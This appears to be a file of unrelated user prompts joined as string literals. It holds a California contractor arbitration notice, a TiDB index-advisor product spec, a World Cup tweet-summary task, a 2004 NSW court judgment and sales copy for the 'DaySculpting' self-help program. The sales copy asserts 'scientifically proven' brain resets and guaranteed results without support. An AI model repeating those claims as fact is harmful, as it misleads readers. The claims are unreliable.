lien against your property if they are not paid. (Generally, the maximum time allowed for filing a claim or lien against your property is ninety (90) days after completion of your project.) \n Arbitration of Disputes Notices \n\\*ARBITRATION OF DISPUTES NOTICE: BY INITIALING IN THE SPACE BELOW YOU ARE AGREEING TO HAVE ANY DISPUTE ARISING OUT OF THE MATTERS INCLUDED IN THE \\*ARBITRATION OF DISPUTES\\* PROVISION DECIDED BY NEUTRAL ARBITRATION AS PROVIDED BY CALIFORNIA LAW AND YOU ARE GIVING UP ANY RIGHTS YOU MIGHT POSSESS TO HAVE THE DISPUTE LITIGATED IN A COURT OR JURY TRIAL. BY INITIALING IN THE SPACE BELOW YOU ARE GIVING UP YOUR JUDICIAL RIGHTS TO DISCOVERY AND APPEAL, UNLESS THOSE RIGHTS ARE SPECIFICALLY INCLUDED IN THE \\*ARBITRATION OF DISPUTES\\* PROVISION. IF YOU REFUSE TO SUBMIT TO ARBITRATION AFTER AGREEING TO THIS PROVISION, YOU MAY BE COMPELLED TO ARBITRATE UNDER THE AUTHORITY OF THE BUSINESS AND PROFESSIONS CODE OR OTHER APPLICABLE LAWS. YOUR AGREEMENT TO THIS ARBITRATION PROVISION IS VOLUNTARY” \n\\*WE HAVE READ AND UNDERSTAND THE FOREGOING AND AGREE TO SUBMIT DISPUTES ARISING OUT OF THE \nMATTERS INCLUDED IN THE \\*ARBITRATION OF DISPUTES PROVISION TO NEUTRAL ARBITRATION” OWNERS’ INTITAL \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ CONTRACTOR’S INITIAL \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_" +"Scenarios where customers use indexes in business:\nUsers launch new workloads on TiDB. (Core scenarios covered in this article)\n1. After the data import is complete, users run the new workload on TiDB for a period of time (12h - 24h).\n2. The system finds some slow queries with a great impact.\n3. The system makes index recommendations for these slow queries and provides execution commands.\n 1. Includes recommendations for single-column and multi-column indexes.\n4. Users executes the corresponding command to complete the optimization.\nUsers' workload goes offline and no longer uses specific queries.\n1. After disable queries.\n2. The system checks whether there are existing indexes that are no longer used.\n 1. Indexes are no longer used: indexes that have not been called for a long time.\n3. The system suggests the deletion of invalid indexes and provides execution commands.\n 1. Provide commands and proofs to allow users to choose. If the statement is really no longer used, the user can delete the index.\n4. The user executes the corresponding command to complete the optimization.\nUsers update the business on TiDB and rewrite the original SQL\n1. After rewriting the queries, users run them on TiDB for a period of time (12h - 24h).\n2. The system discovers recently increased slow queries (periodically).\n 1. Recently increased slow queries: Compared with the latest period, the execution time becomes longer and the number of executions increases.\n3. The system makes index recommendations for these slow SQLs and provides execution commands.\n 1. If there is no index, recommend single-column index and composite index.\n 2. For existing indexes, perform index optimization, cover fields, index order, etc.\n4. Users execute the corresponding command to complete the optimization.\nUsers add some new indexes, which interfered with the previous query\n1. A new business is launched, some queries are added.\n2. Users add some new indexes, which interfered with the previous query.\n3. The system detects affected queries. \n 1. Affected queries: some queries use this index and the performance goes wrong.\n4. The system gives optimization suggestions and provides execution commands.\n5. Users executes the command to complete the optimization.\n 1. If users confirm that the affected queries need to be restored to original performance, users can apply the suggestion.\n 2. If users confirm that all things are acceptable, users just need to ignore this suggestion.\nPrevious work\nIndex Advisor POC \nSybil - Hackathon 2022 Root \nObjective\nFinal Goals\nList product goals including their timeframe, and success metric\nGoal：\n- For TiDB Cloud Cluster\n - Clinic stores all slow logs, Statement, Index Info, Statistics and other relevant diagnostic data.\n - Clinic analyzes all data and automatically discovers potential SQLs that can be suggested.\n - Periodically send a list of SQLs that can be optimized to the user.\n - Show all SQL that can be optimized. Why this conclusion.\n - Provide index optimization execution commands.\n- Advice that can be given\n - Index missing: single column index, compound index.\n - Too many indexes: low index usage, index interference.\n - The index is not optimal: the index covers incomplete fields, the index order is not good.\n - Index Type Tuning: Clustered Index.\nNon-Goal：\nNone\nMilestone Goals\nM1\n- For TiDB Cloud Cluster\n - Clinic stores all slow logs, and other data sources are directly queried from the customer cluster side.\n - Clinic analyzes all data and automatically discovers potential SQLs that can be suggested.\n - Show all SQL that can be optimized. Why this conclusion.\n - Provide index optimization execution commands.\n- Advice that can be given\n - Index missing: single column index, compound index.\nTarget user / role\nWho the product is for\nUsers\n- Support: Continue to provide customers with SQL optimization suggestions to improve user performance.\nDefinition\nTask\n1. The insight task is the asynchronous task. After the task is triggered, the task will run to finish automatically. Users can not pause or cancel the task right now(maybe users can do it in the future).\n2. The task should be cluster-level unique. So one cluster can trigger a task at the same time. No users level limitation.\n3. I think users can wait for 30 minutes at most.\n4. Default timeout is 60 minitues\nImpact:\nHow much it affects query performance.\nUser Scenarios / Story\nA detailed list of user scenarios\nM1: Munually Detect potential optimization of Index After queries run for a while\nPre-process:\n- Queries run a while.\nMain Process:\n- Support triggers the Index insight.\n- Clinic checks all slow queries once, and shows all insights.\n- Support checks the index insight list order by impact.\n- Support views the details of a specific index insight.\n - Confirm related Slow SQL, suggested command, etc.\n- Copy the command and execute it.\nPost process:\n- The effect on this SQL Digest is continuously monitored.\nFlow Chart\n[Image]\nM2: Automatically Detect potential optimization of Index After queries run for a while\nPre-process:\n- Queries run a while.\nMain Process:\n- User / Support enables automatic Index insight.\n- Clinic checks all slow queries periodically, and shows all insights.\n- Support receives the announcement periodically (maybe weekly).\n- Support checks the index insight list order by impact.\n- Support views the details of a specific index insight.\n - Confirm related Slow SQL, suggested command, etc.\n- Copy the command and execute it.\nPost process:\n- The effect on this SQL Digest is continuously monitored.\nFlow Chart\n[Image]\nFeature List\nIndex Insight List\n- Index Check Up Bottom\n - Trigger a check up.\n - When the task runs, the bottom is unavailble.\n- Inisght List\n - Impact\n - Type\n - Suggested Command\n - Related SQL\n - Check Up Time\nIndex Insight Details\n- Some concepts\n - Statement level data.\n - The historical data range is stable after the insight is detected.\n- Basic Information (P0)\n - Type\n - Impact\n - SQL Text / Digest\n - Suggested Command & Copy Buttom\n- Why give this suggestion\n - Used\n - Indexes\n - Statistics\n - An Index condition (need to expain on UI)\n - From Tables\n - Need to consider the SQL Join Types\n - Clause\n - WHERE Clause\n - Group BY Statement\n - Order BY Key Word\n- Existence Indexes related to tables\n - Table Name\n - Index Content\n - Create Time\n - Used Count\n- Table Healthy\n - Table Name\n - Healthy\n - Updated\n- In Feature\n - Performance Before and After\n - After Queries\nFunctional Specs\nAll the product interface and user-perceivable behavior changes need to be described in detail, including but not limited to:\n1. Any changes to GUI and command line, including command parameters and parameter definition changes;\n2. Any changes to the configuration items or system variables, including changes in value ranges and value semantics;\n3. Any changes to the storage directory and file format of the data;\n4. Any API and network protocol changes, including changes in the format of transmission content;\n5. Any user-visible output format or semantic changes, such as execution plan, diagnostic information, and error information, logs, alarms, etc. that affect user decision-making.\nIndex Insight List\n[Image]\nTop Bar:\n- Index Check Up Bottom\n - Trigger a check up for the last 24 hours on this cluster.\n - When the task runs, the bottom is unavailble.\n - Tips: Each check-up will cover slow queries from the past 24 hours.\nList:\n- Impact: The degree of optimization of the query\n- Type: which type of suggestion\n- Suggested Command: Suggested execution command\n- Related SQL: Queries that will be optimized, click to the slow queries page of this digest.\n- Check Up Time: The beginning time of check up running\nIndex Insight Details\nType: Missing Index\n[Image]\nTop Bar:\n- Check up time: The beginning time of check up running\n- Go to Statement bottom: click to dashbaord statement page\n - This means that the statement page's URL and filter needs to support the digest filter.\n- Go to Slow Queries bottom: click to slow query on o11y page\n - This means that the slow query page's URL and filter needs to support the digest filter.\nBasic Information:\n- Insight Type: which type of suggestion\n- Impact: The degree of optimization of the query\n - HIGH - MIDDLE - LOW: red - yellow - green color.\n- SQL Statement & SQL Digest.\n- Suggested Command: provide a copy bottom.\nWhy Give This Suggestion:\n- Used Index & Statistics: learn the current situation.\n- Scope of tables: Show all tables found in the query that need to be indexed.\n - Tips: Here are all the tables that need to be added to the index.\n- Some Clauses: Show all columns that need to be indexed and what type they are in the query.\n - Tips: Here are all the columns that need to be indexed. These columns come from the query's Where Clauses, Order BY Clauses or Group BY Clauses.\nExsiting Indexes:\n- A list of indexes:\n - Tables\n - Index name\n - Column\n - Clustered\n - Visible\nTable Healthy:\n- A list table healthy\n - Tables\n - Healthy\n - Last analyze time\nType: Analyze Table\n[Image]\nTop Bar:\n- Check up time: The beginning time of check up running\n- Statement bottom: click to dashbaord statement page\n - This means that the statement page's URL and filter needs to support the digest filter.\n- Statement bottom: click to slow query on o11y page\n - This means that the slow query page's URL and filter needs to support the digest filter.\nBasic Information:\n- Insight Type: which type of suggestion\n- Impact: The degree of optimization of the query\n - HIGH - MIDDLE - LOW: red - yellow - green color.\n- SQL Statement & SQL Digest.\n- Suggested Command: provide a copy bottom.\nExsiting Indexes:\n- A list of indexes:\n - Tables\n - Index name\n - Column\n - Clustered\n - Visible\nTable Healthy:\n- A list table healthy\n - Tables\n - Healthy\n - Last analyze time\nSlow Query / Statement List\n[Image]\nURL:\n- Supports the filter digest.\nTop Bar:\n- Add a filter digest: can be selected by dropdown.\nList:\n- Add the first column: show the insight icon when the digest is in the insight list.\n - The number represents how many insights were hit by this digest.\nSlow Query / Statement Detail\n[Image]\nInsights Model:\n- Show the insight model when the digest is in the insight list.\n- Every insight content can be clicked on. Click on the content to enter the detail page of the corresponding insight." +'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "beautifull" :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat\'s a beautiful goal ???\'\'#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\nThat\'s a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!\'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS\'\'2-0\'\'Beautiful goal.\'\'#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal\'Absolutely beautiful ?? \'#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don\'t even want Argentina to win but I can\'t deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.\'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal \'\'#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful \'\'Argentina is not playing today \'\'#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it\'s a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL\'\'LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! \'\'That was absolutely beautiful! \'\'This goal was fully deserved!!\'\'#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat\'Was\'BEAUTIFUL FOOTBALL \'\'WWWWOOOOWWWWW\'\'Look at how they turned a France half chance to a PERFECT Argentine counter and goal!\'\'Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal \'\'Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal\'\'#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.\'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????\'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. \'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000' +'N THE SUPREME COURT\nOF NEW SOUTH WALES\nEQUITY DIVISION\nCORPORATIONS LIST\n\nYOUNG CJ in EQ\n\nFriday 6 August 2004\n\n3588/04 – NICOM INTERIORS PTY LTD v CIRCUIT FINANCE PTY LTD\n\nJUDGMENT\n1 HIS HONOUR: This is an application under s 459G of the Corporations Act 2001 to set aside a statutory demand. The defendant is a finance company which entered into a lease agreement with respect to the fixtures and fittings of a putative restaurant at King St Wharf, Sydney. The lease agreement, it would appear, ended up as a financial disaster for the defendant and it claims that $602,341.89 is its loss. The lease was the subject of a guarantee which is annexed to the lease document to which I will return.\n2 On 2 June 2004 the plaintiff, Nicom Interiors Pty Ltd, received a statutory demand for the sum I have mentioned, the claim being made against it as a guarantor.\n3 The grounds on which the defendant’s claim is attacked are technical, but it does seem to me that they are valid and that I need to set aside the statutory demand.\n4 Section 459H of the Corporations Act provides that if the Court is satisfied that there is a genuine dispute between the company and the claimant about the existence or the amount of the debt then the Court sets aside the statutory demand. Section 459J makes it clear that the Court is not to act merely because there is a defect if there is not substantial injustice caused.\n5 The first argument raised by the plaintiff is that on the proper construction of the document it is not a guarantor. There seems little sense in setting out the document in full but in my view it is fairly arguable that the plaintiff is not a guarantor. The guarantee which is attached to the lease commences with the words:\n\n“THIS DEED made on the day last hereunder referred to BETWEEN the person or persons named and described in the schedule hereto (hereinafter called \'the Guarantor\') - of the one part and CIRCUIT FINANCE PTY LTD ... of the other part.”\n6 There then follows words after the word “WITNESSETH” which suggest that the guarantee has been given jointly and severally and that the defendant has the powers given to a mortgagee by the Property Law Act 1958 (Victoria). Then follows in a rectangular box the words “THE SCHEDULE”. In that rectangular box are four names followed by the address of the four persons named. Names and addresses might come within the words “persons named and described in the schedule” though normally one would expect to find a greater description than the mere address. That rectangular box is then closed off and then there are four other rectangular boxes which commence with the words:\n\n"IN WITNESS WHEREOF these presents have been executed on the 22nd day of July 2003\nSIGNED SEALED AND DELIVERED by the said"\n\nthen there are the four names, the name of the witness, the signature of the four named persons and the witness in each of the four boxes. At the conclusion of the fourth box without any insertion of a box the words appear:\n"IF REQUIRED UNDER ITS CONSTITUTION THE COMMON SEAL OF THE GUARANTOR COMPANY WAS HEREUNTO AFFIXED IN THE PRESENCE OF ITS DULY AUTHORISED OFFICER(S)\nOR\nEXECUTED BY THE GUARANTOR COMPANY BY BEING SIGNED BY THE DULY AUTHORISED PERSON(S)\'"\n7 There then appears to be what might be called a slim rectangular box in which the words “Guarantor Company Name” appears printed and the name and ABN number of the plaintiff is then written. There are then four mini boxes each of which is subdivided with the signature of two persons who purport to be directors.\n8 There are then following two sheets, the second of which repeats the guarantee and contains a schedule which says:\n\n“THIS GUARANTEE IS AN ATTACHMENT TO AND FORS PART OF LEASE AGREEMENT NO 6199 DATED 29/7/03”\n\nThere is then the addition of another guarantor, Roy Lombardo, who says he has executed the guarantee as a deed on 29 July 2003.\n9 The lease contained as clause 19.2 in fine print at the end of the document the following:\n\n“The parties hereto agree that the law governing this lease shall be the law of the State of Victoria and the parties consent to the jurisdiction of the Courts of that State”.\n10 Mr Newlinds SC, who appears with Mr Finnane for the plaintiff, says that the proper construction of the guarantee or at least a strongly arguable view of the guarantee is that it only affects the four persons named in the box. This is an unusual argument in the sense that normally people wish to shift liability on to corporations rather than individuals, whereas this argument seems to be going the other way. However, in my view, looking at the document the construction is certainly strongly arguable. The traditional form of deeds is that one has the operative part, then the schedule, then the attestation clause and that prima facie appears to be the way this document is set out. The persons named and described in the schedule appear to me to be more likely than not to be those in the first of the boxes. Now I am not determining the point; this decision is not to be taken as any res judicata. It seems to me that it is sufficiently arguable that it should go to trial.\n11 The second principal argument is that the addition of the extra guarantee on 29 July 2003 means there has been a material alteration in the joint guarantee after it was executed, if it was executed by the plaintiff. That argument would have no force if the proper law of the contract were New South Wales law. That is because the rule that material alteration of a deed vitiates it (known as the rule in Pigot\'s case (1611) 11 Co Rep 26b; 77 ER 1177) was abolished in this State by an amending Act which inserted a new s 184 into the Conveyancing Act 1919 which section came into operation on 1 November 2001. However, it would seem that that reform has never been adopted in Victoria and that the rule in Pigot’s case still applies there. Moreover, it also appears from the authorities which Mr Newlinds SC cited to me that because of some 19th century decision of the Full Court of Victoria, Colonial Bank of Australasia v Moodie (1880) 6 VLR (L) 354 (followed in Birrell v Stafford [1988] VR 281) even a material alteration to a deed which is of benefit to the person now complaining vitiates it. The proper law of the lease is Victoria. The probabilities thus are the proper law of the guarantee is also Victoria: Broken Hill Company Pty Ltd v Xenakis [1982] 2 Ll LR 304, 306.\n12 The third point is that even if the plaintiff did sign as a guarantor it didn’t sign in such a way as to bind it as a deed. The evidence before me is that the plaintiff is a company which has one director who is also the secretary. The document is in fact signed by two people who purport to be directors. Mr Newlinds SC says that just demonstrates confusion. Section 127 of the Corporations Act 2001 provides that where a company has a sole director who is also the secretary that director may execute the document without using a common seal but subsection (3) provides:\n\n“A company may execute a document as a deed if the document is expressed to be executed as a deed and is then executed by in the present case the sole director”.\n13 Although the execution clauses were individual guarantors containing the words both “signed, sealed and delivered” the box for corporate guarantors does not. Moreover, the words which I have set out between the boxes indicate that either the common seal has got to be put on the document or it is executed by being signed; it is not expressed ever to be executed as a deed. Accordingly, there does not appear to be any compliance with s 127(3) of the Corporations Act 2001 which would mean that a tribunal of fact may hold that it is not a deed binding the company and as the company does not appear to have given any consideration it may be that there is a mere nudum pactum.\n14 Mr Aitken, who appears for the defendant, in his usual robust way said that any sensible commercial person or court would read the documents sensibly and not in the way in which Mr Newlinds has put and which seem to be favoured by me during his argument. If he is right, of course, he will win in the District Court.\n15 Order as paragraph 1 in the originating process. Order that the plaintiff will pay the defendant\'s costs. This order is not to affect the order for costs made by Master Macready on 23 July 2004. The orders for costs may be set off.' +'here is part 1\n\n----\nDaySculpting is a program that that deals with YOUR immediate future….It is a 90 day program that teaches U how to create Success… one day at a time…today…\nUsing recent breakthroughs in the field of neuroscience, the study of the human brain, DaySculpting is one of the most powerful success systems on earth for creating what I call… \n"Your Epic Ideal Day" -- And when U have Epic Ideal Days? U create your EPIC IDEAL LIFE.\n\nDaySculpting is broken down into 3 easy to accomplish segments throughout your day…\n~The Morning Lift Process…which sets U up with a MindState of Success and a design for U to follow throughout your day…There is a morning email…SMS text…Inspiring Video…Future Forward Tuning IN…And a 3 step Success Step Declaration Process…this only takes 15 minutes…\n~Mid-Day Reconnect Process…whatever your miid-day is…U are encouraged to stop doing what U are doing and disconnect so U can re-connect…by listening to a 5-minute Tuning In Re-Connection. We know that somewhere in the middle of our day it’s easy to lose momentum and drift from our best intentions because of all the demands on our attention. It has been scientifically proven that when U disconnent for between 3 to 5 minutes at the midpoint of your day….your brain resets…and your energy is replenished…I like to call it a MindState Re-Boot that will inspire U to re-ignite your imagination…this only takes 5 minutes\n~Highlight And Insight Review Process…we all review our day however what DaySculpting \nanchors for U is an activation and integration process that gets U to see your day as being successful…by celebrating your successes (your highlights) and being present to things U could have improved on (your insights) so U can make your insights into highlights..most people when they review their day fail to celebrate even the smallest increments of success…they focus on what they didn’t do and that puts them in a negative energy…Success has challenges and the\nhighlights and insight process encourages and empowers U to honestly see what U are doing each day so U Sculpt new MindStates Of Success rather than the energy of uncertainty…\nthis takes 10 minutes\n\nThe whole DaySculpting process takes 30 minutes a day…and as I always say if U don’t have \n30 minutes to change your life then U don’t want to change your life and U are okay with living \na mediocre life…\n\nDay Sculpting is about targeting specific Chief Aims U have for your life…and creating the Habits that will get U there…Imagine being able to replace the MindTraps (your limiting beliefs) with empowering rituals and habits that become your new normal…\n\nThrough the repetition of doing the daily DaySculpting process U are carving into your Subconscious memory thoughts, beliefs and actions that result in U sculpting the masterpiece known as U…\n\nThere are many programs out there that attempt to instill new success behaviors however many fall short of actually shifting your MindStates into a frequency of possibility where U get to actually see your daily results immediately…DaySculpting does this…\n\nThis is not science fiction… and it\'s not wishful thinking, or some tired old self-improvement, goal-setting program… DaySculpting is a program that empowers U to manifest and realize your Chief Aims in life\n\n"DaySculpting" -- is a tool that takes just MINUTES a day for you to use…\n\nIt is designed to FREE UP hours in your day… while at the SAME time empowering you for greater success in ANY area of your life.\n\nDaySculpting sheds light and solves an age-old problem:\nWHY we often fight against the very changes we desire to make\n\nHave you ever experienced the FEELING that you deserve MORE out of your life? More financial freedom and greater rewards from the hard work you do every day? Deeper, more empowering relationships with those you love… or maybe just meeting that special someone to share your life with? Perhaps you crave a deeper spiritual connection… or a more healthy, trim, energetic body?… \nYET:\nDespite your BEST intentions… you struggle. Perhaps if you\'re anything like me, you even self-sabotage your results with actions that you KNOW are not in your best interest.\n\nMaybe it FEELS like it did for me: Like you are swimming upstream… making SOME progress, sure, but just not reaching your goals and desires fast enough.\n\nWell, I have wonderful news for you: It\'s not because you\'re lazy… and it\'s not because you are not smart enough, competent enough… or ANYTHING enough! \n\nThe real REASON you desire more and are not seeing ALL the results you deserve lies within whether the Success Switch in your brain is in the ON or OFF position…\n\nThe SOLUTION… THE ANSWER to flipping your Success Switch back ON lies within the simple daily steps U will take when U experience the DaySculpting Program… \nThe Day Sculpting Program Is A Simple Step Daily Success RITUAL \u2028 That Shuts Down Your Body\'s Failure Reflex \u2028 So YOU Tap Into Your Brains Success Centers…\u2028 In Just Minutes A Day!\u2028\u2028 IIMAGINE Knowing What HIGHLY SUCCESSFUL \u2028 People Do EVERYDAY…\nFor Abundance And Wealth, Greater Health, Self-Confidence Meaningful Relationships, Sharper Focus , Deeper Joy…\u2028 And So Much More…\n“Now You Too Can Use This 90-Day Game Changer\u2028 To Tap Into The Key Success Centers Of Your Mind,\u2028 And In Just Minutes You Can Transform Even Lousy Days\u2028 Into Days Filled With The Results You Desire – Guaranteed!”\nTO MAKE A GREAT LIFE, ALL YOU HAVE TO IS MAKE EACH DAY A GREAT DAY … \nThen get up tomorrow and do the same thing, day after day after day.\nARE YOU Ready To Change YOUR LIFE One Day At A Time…\nThe comprehensive, fun and empowering 90-day DaySculpting program provides you with the life skills and tools to help you master a new MindState of Success and a range of powerful life-changing rituals and habits that will Sculpt Your Perfect Days Into A Great Life.\nDAY SCULPTING WILL TEACH YOU:\n• The science behind HAVING A MindState Of Success...and why most people who want more in life actually have their success switch turned off by total accident!\n• How to get more done with more time and more energy left over!\n• The simple, yet powerful, process of building a powerful day so you create a series of "Dynamic Days" - days that will end up building your most incredible life (The one you always thought was out of reach!)\n• Learn the \'Day Sculpting Principles\'. These can have a huge impact on you your life, but when you learn how simple they really are, you can use them easily and consistently!\n• How in just a few minutes a day, you can keep positive results flowing and put your success energy into a permanent \'ON\' position!\n• And much more!\nDaySculpting, is for those who are willing to take their life to the next level by creating new Success Habits replacing the ones that have been sabotaging your success. \nSo make sure you can honestly agree with the following before experiencing DaySculpting:\n• You desire more out of life, yet feel as if you are "missing something" -- that special "X Factor" to take you to the next level?\n• You are brave enough to boldly say, "I want greater wealth and financial freedom... and I demand the best lifestyle possible for me and my family!\n• You know the value of joy: You want to experience greater happiness, peace of mind, and connection with your friends and loved ones on a daily basis.\nIf you agree with the above, and truly want to create the best life possible, with greater wealth, freedom, happiness, love, and fulfillment, then I invite you to experience the power of Day Sculpting …it will change the way you think about creating your day and the life you dream about. \nI am not encouraging you to become busier but rather to use your mental and emotional, energy more elegantly sculpting your day the way you want it to be. \nHow many times have you done a ton of work and still felt that you didn’t accomplish what you really wanted for yourself. Week after week, month after month go by and you still are no farther ahead of the game…stuck in the status quo that never seems to change.\n\nBreaking free means that the status quo of your life has to change… your habits of expectation have to change …your mindset has to change…you have to uncover those old behaviors that have held you back and be willing to create a new mindset.\n\nYou have to be willing to shift your daily focus inwards towards what you need to do today rather than tomorrow. Because when you create a great day today you welcome in a more powerful tomorrow.\n\nWe all have the same 24 hours each day. 